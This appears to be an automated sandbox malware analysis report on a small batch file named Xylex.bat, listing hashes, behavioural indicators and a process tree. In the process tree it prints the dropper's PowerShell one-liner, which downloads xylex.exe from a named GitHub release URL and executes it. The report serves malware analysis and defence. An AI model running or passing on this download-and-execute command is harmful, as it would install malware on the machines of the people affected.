388491290146c6a7783f141be8d24ce4cb9d3422342857c714968e74dad409cf

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
09/06/2024, 19:40

Target

Executor/Xylex.bat
Size

254B
MD5

8a650e0e8c42e298585c8e3bce000530
SHA1

d217caf5298b37d250eed6b31992b7a3975832de
SHA256

bee3639262892fde56c1d48d28aa2dd3c137cfd55125005a3b3ea0a36b1d8aa1
SHA512

b21a6d1d2101a19ca7f5b00100f73607f2ff3c280dd4942e4a6004bb4f6b905f662622e6cdc6af6db0d1d3b96a6c00f7cf2653b13220b48e5ba1dcab5c48185e

Score

10^/10

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xy-leex/xylex/releases/download/vypix/xylex.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2052	powershell.exe
6	2052	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2052	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2052	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 2052	2020	cmd.exe	29
PID 2020 wrote to memory of 2052	2020	cmd.exe	29
PID 2020 wrote to memory of 2052	2020	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Executor\Xylex.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://github.com/xy-leex/xylex/releases/download/vypix/xylex.exe';$file='xylex.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2052

memory/2052-4-0x000007FEF5E0E000-0x000007FEF5E0F000-memory.dmp

Filesize
4KB

Download
memory/2052-5-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2052-6-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/2052-8-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/2052-7-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2052-9-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2052-10-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2052-11-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download